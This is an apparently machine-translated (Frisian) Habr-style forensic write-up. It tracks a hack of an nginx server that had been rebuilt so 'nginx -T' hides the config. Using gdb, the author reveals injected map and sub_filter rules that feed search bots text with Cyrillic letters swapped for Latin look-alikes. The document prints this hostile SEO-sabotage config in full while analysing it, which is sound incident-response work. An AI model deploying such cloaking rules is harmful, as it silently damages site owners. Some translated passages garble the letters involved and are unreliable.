As 'a' net lyk is oan 'a'. Yn it spoar fan in hack

In heul onaangenaam ferhaal barde ien fan myn freonen. Mar sa ûnnoflik as it blykte te wêzen foar Mikhail, it wie foar my like fermaaklik.

Ik moat sizze dat myn freon hielendal is UNIX-brûker: kin ynstallearje it systeem sels MySQL, php en meitsje ienfâldige ynstellings nginx.
En hy hat in tsiental of ien en in heale websiden wijd oan bou ark.

Ien fan dizze siden wijd oan kettingzagen sit stevich yn 'e TOP fan sykmasines. Dizze side is in net-kommersjele resinsint, mar immen krige in gewoante om it oan te fallen. Dat DDoS, dan brute krêft, dan skriuwe se obsene opmerkings en stjoere misbrûk nei de hosting en nei de RKN.
Ynienen kalme alles en dizze rêst die bliken net goed te wêzen, en de side begon stadichoan de boppeste rigels fan 'e sykresultaten te ferlitten.

As 'a' net lyk is oan 'a'. Yn it spoar fan in hack

Dat wie in spreuk, dan it ferhaal fan de admin sels.

It wie ticht by bêdtiid doe't de telefoan gie: "San, silst net nei myn server sjen? It liket my ta dat ik hackt wie, ik kin it net bewize, mar it gefoel hat my foar de tredde wike net ferlitten. Miskien is it gewoan tiid foar my om behanneling te krijen foar paranoia?

Wat folge wie in healoere diskusje dy't as folget gearfette wurde kin:

  • de grûn foar hacking wie frij fruchtber;
  • in oanfaller koe krije superuser rjochten;
  • de oanfal (as it plakfûn) wie spesifyk rjochte op dizze side;
  • probleemgebieten binne korrizjearre en jo moatte gewoan begripe oft der in penetraasje wie;
  • de hack koe de sidekoade en databases net beynfloedzje.

Oangeande it lêste punt.

As 'a' net lyk is oan 'a'. Yn it spoar fan in hack

Allinnich de wite frontend IP sjocht út yn 'e wrâld. Der is gjin útwikseling tusken de backends en de frontend útsein http(s), de brûkers/wachtwurden binne oars, gjin kaaien waarden útwiksele. Op grize adressen binne alle havens útsein 80/443 sletten. Wite eftergrûn-IP's binne allinich bekend by twa brûkers, dy't Mikhail folslein fertrout.

Ynstallearre op 'e frontend Debian 9 en troch de tiid dat de oprop wurdt makke, wurdt it systeem isolearre fan 'e wrâld troch in eksterne brânmuorre en stoppe.

"Ok, jou my tagong," beslút ik de sliep foar in oere út te stellen. "Ik sil sjen mei myn eigen eagen."

Hjir en fierder:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Op syk nei in mooglike hack

Ik start de tsjinner, earst yn rêdingsmodus. Ik mount de skiven en flip troch harren autentyk-logs, skiednis, Systeemlogboeken, ensfh., As it mooglik is, kontrolearje ik de datums fan it oanmeitsjen fan bestân, hoewol ik begryp dat in normale cracker nei himsels "opsweefd" soe hawwe, en Misha hie al in protte "trappe" wylst hy nei himsels socht .

Ik begjin yn normale modus, noch net echt begripe wat te sykjen, Ik studearje de configs. Earst bin ik ynteressearre yn nginx sûnt, yn it algemien, der is neat oars op 'e frontend útsein it.
De konfiguraasjes binne lyts, goed strukturearre yn in tsiental bestannen, ik sjoch gewoan troch har kat'o ien foar ien. Alles liket skjin te wêzen, mar jo witte noait oft ik wat miste ynklusyf, lit my in folsleine list meitsje:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ik begriep it net: "Wêr is de fermelding?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

In twadde fraach wurdt tafoege oan 'e listfraach: "Wêrom sa'n âlde ferzje fan nginx?"

Derneist is it systeem fan betinken dat de lêste ferzje is ynstalleare:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ik skilje:
- Misha, wêrom hasto wer gearstald nginx?
- Wachtsje, ik wit net iens hoe't ik dit dwaan moat!
- Ok, no, gean sliepe...

Nginx it is dúdlik werboud en de útfier fan 'e fermelding mei "-T" is ferburgen foar in reden. D'r binne gjin twifels mear oer hacking en jo kinne it gewoan akseptearje en (sûnt Misha yn elts gefal de tsjinner ferfong troch in nije) it probleem as oplost beskôgje.

En yndied, sûnt immen krige de rjochten woartel'ach, dan hat it mar sin om te dwaan systeem reinstall, en it wie nutteloos om te sykjen nei wat der mis wie, mar dizze kear fersloech de nijsgjirrigens de sliep. Hoe kinne wy ​​útfine wat se foar ús ferbergje woene?

Litte wy besykje te spoaren:

$ strace nginx -T

Wy sjogge it, der binne dúdlik net genôch rigels yn it spoar a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Krekt foar de wille, lit ús de befinings fergelykje.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ik tink diel fan 'e koade /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

waard fermindere ta de foarm:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

of

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

dêrom wurdt de list mei "-T" net werjûn.

Mar hoe kinne wy ​​ús konfiguraasje besjen?

As myn gedachte is korrekt en it probleem is allinnich yn de fariabele ngx_dump_config litte wy besykje it te ynstallearjen mei help fan gdb, gelokkich is der in kaai --mei-cc-opt -g oanwêzich en hoopje dat optimalisaasje -O2 it sil ús gjin sear dwaan. Tagelyk, sûnt ik wit net hoe ngx_dump_config koe wurde ferwurke yn gefal 'T':, wy sille net neame dit blok, mar ynstallearje it brûkend gefal 't':

Wêrom kinne jo '-t' en '-T' brûkeBlock Processing if(ngx_dump_config) bart binnen if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Fansels, as de koade wurdt feroare yn dit diel en net yn gefal 'T':, dan sil myn metoade net wurkje.

Test nginx.confNei't it probleem al eksperiminteel oplost is, waard fêststeld dat in minimale konfiguraasje nedich is foar de malware om te wurkjen nginx type:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Wy sille it brûke foar koarteheid yn it artikel.

Launch de debugger

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

De stappen:

  • set in brekpunt yn 'e funksje foarnaamste()
  • start it programma
  • feroarje de wearde fan de fariabele dy't bepaalt de útfier fan de konfiguraasje ngx_dump_config=1
  • trochgean / einigje it programma

Sa't wy sjen kinne, ferskilt de echte konfiguraasje fan ús, wy selektearje in parasitêr stik út:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Lit ús ris efkes sjen nei wat hjir bart yn folchoarder.

Beret Meidogger-agint's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Tsjinstsiden binne útsletten wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

En foar dyjingen dy't falle ûnder beide boppesteande betingsten

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

yn de tekst html-siden feroarje 'O' op 'o' и 'IN' op 'in':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Dat is krekt, de ienige subtiliteit is dat 'a' != 'a' krekt as 'o' != 'o':

As 'a' net lyk is oan 'a'. Yn it spoar fan in hack

Sa krije sykmasjinebots, ynstee fan normale 100% Syrillyske tekst, oanpast jiskefet ferwettere mei Latyn 'in' и 'o'. Ik doarst net te besprekken hoe't dit SEO beynfloedet, mar it is net wierskynlik dat sa'n rommeltsje fan letters in positive ynfloed hat op posysjes yn 'e sykresultaten.

Wat kin ik sizze, jonges mei ferbylding.

referinsjes

Debuggen mei GDB
gdb(1) - Linux man page
strace(1) - Linux man page
Nginx - Module ngx_http_sub_module
Oer seagen, kettingseagen en elektryske seagen

Boarne: www.habr.com

Add a comment